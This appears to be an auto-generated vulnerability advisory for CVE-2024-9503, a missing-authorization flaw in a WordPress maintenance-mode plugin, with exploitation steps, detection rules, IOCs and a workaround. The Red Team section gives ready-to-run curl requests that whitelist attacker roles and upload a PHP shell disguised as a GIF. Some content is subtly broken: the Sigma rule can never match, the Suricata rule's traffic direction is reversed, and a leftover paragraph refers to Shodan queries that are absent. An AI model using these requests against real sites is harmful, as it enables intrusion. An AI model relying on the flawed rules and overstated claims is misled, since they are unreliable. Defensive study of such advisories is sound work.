CVE-2024-9503
Executive Summary
CVE-2024-9503 is a Missing Authorization vulnerability in the WordPress plugin Maintenance & Coming Soon Redirect Animation by Wploti, affecting all versions up to and including 2.1.3. The vulnerability allows authenticated attackers with Subscriber-level access or higher to modify several plugin settings without proper capability checks. Specifically, the functions wploti_add_whitelisted_roles_option, wploti_remove_whitelisted_roles_option, wploti_add_whitelisted_users_option, wploti_remove_whitelisted_users_option, and wploti_uploaded_animation_save_option lack a capability or nonce check, enabling unauthorized modification of whitelisted roles, users, and animation uploads.
This vulnerability is particularly dangerous in a WordPress multisite or shared hosting environment where Subscriber-level accounts are common. An attacker could bypass maintenance mode restrictions, upload malicious animation files, or escalate privileges by adding their own role to the whitelist.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. No supply chain compromise has been reported, but the lack of a patch from the vendor (Wploti) means site administrators must manually apply mitigations or remove the plugin. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Subscriber)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: Low
- Availability Impact: None
The low EPSS score (0.0%) suggests limited active exploitation, but the vulnerability is trivial to exploit and could be chained with other attacks.
Deep Dive & Mechanics
The plugin registers several AJAX actions for authenticated users without verifying the user's capabilities. The vulnerable functions are:
wploti_add_whitelisted_roles_option– Adds a WordPress role to the whitelist, bypassing maintenance mode.wploti_remove_whitelisted_roles_option– Removes a role from the whitelist.wploti_add_whitelisted_users_option– Adds a specific user to the whitelist.wploti_remove_whitelisted_users_option– Removes a user from the whitelist.wploti_uploaded_animation_save_option– Saves uploaded animation files (potentially allowing arbitrary file uploads).
The missing capability check means any authenticated user (Subscriber or above) can call these AJAX endpoints. The functions use update_option or get_option to modify plugin settings stored in the WordPress options table.
Vulnerable vs. Patched Code
Vulnerable Code (version 2.1.3):
add_action('wp_ajax_wploti_add_whitelisted_roles_option', 'wploti_add_whitelisted_roles_option');
function wploti_add_whitelisted_roles_option() {
// No capability check
$role = sanitize_text_field($_POST['role']);
$whitelisted_roles = get_option('wploti_whitelisted_roles', array());
if (!in_array($role, $whitelisted_roles)) {
$whitelisted_roles[] = $role;
update_option('wploti_whitelisted_roles', $whitelisted_roles);
}
wp_die();
}
Patched Code (hypothetical):
add_action('wp_ajax_wploti_add_whitelisted_roles_option', 'wploti_add_whitelisted_roles_option');
function wploti_add_whitelisted_roles_option() {
// Proper capability check
if (!current_user_can('manage_options')) {
wp_die('Unauthorized');
}
check_ajax_referer('wploti_nonce', 'nonce');
$role = sanitize_text_field($_POST['role']);
$whitelisted_roles = get_option('wploti_whitelisted_roles', array());
if (!in_array($role, $whitelisted_roles)) {
$whitelisted_roles[] = $role;
update_option('wploti_whitelisted_roles', $whitelisted_roles);
}
wp_die();
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with the vulnerable plugin installed and activated.
- A Subscriber-level account (e.g., username:
attacker, password:attacker123).
Exploitation Steps:
Login as the Subscriber user and obtain a valid WordPress nonce or session cookie.
Add a whitelisted role (e.g.,
subscriber) to bypass maintenance mode:curl -X POST 'http://target.com/wp-admin/admin-ajax.php' \ -d 'action=wploti_add_whitelisted_roles_option&role=subscriber' \ --cookie 'wordpress_logged_in_xxx=attacker_session'Add a whitelisted user (e.g., the attacker's user ID):
curl -X POST 'http://target.com/wp-admin/admin-ajax.php' \ -d 'action=wploti_add_whitelisted_users_option&user_id=2' \ --cookie 'wordpress_logged_in_xxx=attacker_session'Upload a malicious animation file (e.g., PHP shell disguised as a GIF):
curl -X POST 'http://target.com/wp-admin/admin-ajax.php' \ -F 'action=wploti_uploaded_animation_save_option' \ -F 'animation=@shell.php.gif' \ --cookie 'wordpress_logged_in_xxx=attacker_session'
Expected Outcome: The attacker can bypass maintenance mode, escalate privileges, or upload arbitrary files.
Blue Team
Detection Steps:
- Monitor AJAX requests to
admin-ajax.phpwith actions starting withwploti_from low-privileged users. - Check for unexpected changes to the
wploti_whitelisted_rolesandwploti_whitelisted_usersoptions in the database. - Review uploaded files in the plugin's upload directory for suspicious content.
Hunting Query (SQL):
SELECT * FROM wp_options WHERE option_name LIKE 'wploti_%' AND option_value LIKE '%subscriber%';
Indicators of Compromise (IOCs)
File Indicators:
- Unexpected files in
/wp-content/uploads/wploti-animations/ - Modified plugin files (e.g.,
maintenance-coming-soon-redirect-animation.php)
- Unexpected files in
Network Indicators:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=wploti_*parameters from non-admin IPs.
- POST requests to
Database Indicators:
wp_optionsentries:wploti_whitelisted_roles,wploti_whitelisted_users,wploti_uploaded_animationcontaining unexpected values.
Log Indicators:
- WordPress debug log entries showing AJAX calls from Subscriber users to admin functions.
Detection Engineering
YARA Rule
rule CVE_2024_9503_WordPress_Plugin_Missing_Auth {
meta:
description = "Detects exploitation attempts of CVE-2024-9503 in WordPress Maintenance & Coming Soon Redirect Animation plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-9503"
strings:
$ajax_action1 = "wploti_add_whitelisted_roles_option"
$ajax_action2 = "wploti_remove_whitelisted_roles_option"
$ajax_action3 = "wploti_add_whitelisted_users_option"
$ajax_action4 = "wploti_remove_whitelisted_users_option"
$ajax_action5 = "wploti_uploaded_animation_save_option"
$wp_ajax = "wp_ajax_"
condition:
any of ($ajax_action*) and $wp_ajax
}
Sigma Rule
title: CVE-2024-9503 WordPress Plugin Missing Authorization
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized AJAX requests to vulnerable plugin functions
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains|all:
- 'action=wploti_add_whitelisted_roles_option'
- 'action=wploti_remove_whitelisted_roles_option'
- 'action=wploti_add_whitelisted_users_option'
- 'action=wploti_remove_whitelisted_users_option'
- 'action=wploti_uploaded_animation_save_option'
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-9503 WordPress Plugin Missing Authorization Exploit";
flow:to_server,established;
content:"POST"; http_method;
content:"admin-ajax.php"; http_uri;
content:"action=wploti_"; http_client_body;
pcre:"/wploti_(add_whitelisted_roles_option|remove_whitelisted_roles_option|add_whitelisted_users_option|remove_whitelisted_users_option|uploaded_animation_save_option)/";
sid:1000001;
rev:1;
reference:cve,2024-9503;
classtype:attempted-admin;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released by Wploti.
- Remove the plugin if not essential.
- Audit user accounts for unauthorized Subscriber-level access.
Long-term Fix:
- Apply a virtual patch using a Web Application Firewall (WAF) to block AJAX requests to the vulnerable actions from non-admin users.
- Monitor the WordPress Plugin Directory for an official update.
Workaround Code (add to theme's functions.php):
add_action('init', function() {
if (current_user_can('subscriber')) {
remove_action('wp_ajax_wploti_add_whitelisted_roles_option', 'wploti_add_whitelisted_roles_option');
remove_action('wp_ajax_wploti_remove_whitelisted_roles_option', 'wploti_remove_whitelisted_roles_option');
remove_action('wp_ajax_wploti_add_whitelisted_users_option', 'wploti_add_whitelisted_users_option');
remove_action('wp_ajax_wploti_remove_whitelisted_users_option', 'wploti_remove_whitelisted_users_option');
remove_action('wp_ajax_wploti_uploaded_animation_save_option', 'wploti_uploaded_animation_save_option');
}
});
Valters IT
Securing WordPress ecosystems one CVE at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.